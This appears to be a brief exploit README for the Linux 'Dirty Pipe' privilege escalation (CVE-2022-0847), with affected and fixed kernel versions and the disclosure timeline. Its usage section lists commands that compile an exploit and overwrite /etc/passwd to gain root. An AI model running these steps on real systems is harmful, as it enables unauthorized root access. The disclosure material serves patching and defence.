CVE-2022-0847

Informations

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

Comment exploiter

Environnement de test :

Élévation de privilèges locale

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

Référence

https://dirtypipe.cm4all.com/

Chronologie

• 2021-04-29 : premier ticket de support concernant la corruption de fichiers
• 2022-02-19 : le problème de corruption de fichiers a été identifié comme un bogue du noyau Linux, qui s'est avéré être une vulnérabilité exploitable
• 2022-02-20 : rapport de bogue, exploit et correctif envoyés à l'équipe de sécurité du noyau Linux
• 2022-02-21 : bogue reproduit sur Google Pixel 6 ; rapport de bogue envoyé à l'équipe de sécurité Android
• 2022-02-21 : correctif envoyé à LKML (sans détails de vulnérabilité) comme suggéré par Linus Torvalds, Willy Tarreau et Al Viro
• 2022-02-23 : versions stables du noyau Linux avec mon correctif (5.16.11, 5.15.25, 5.10.102)
• 2022-02-24 : Google intègre mon correctif dans le noyau Android
• 2022-02-28 : notification à la liste de diffusion linux-distros
• 2022-03-07 : divulgation publique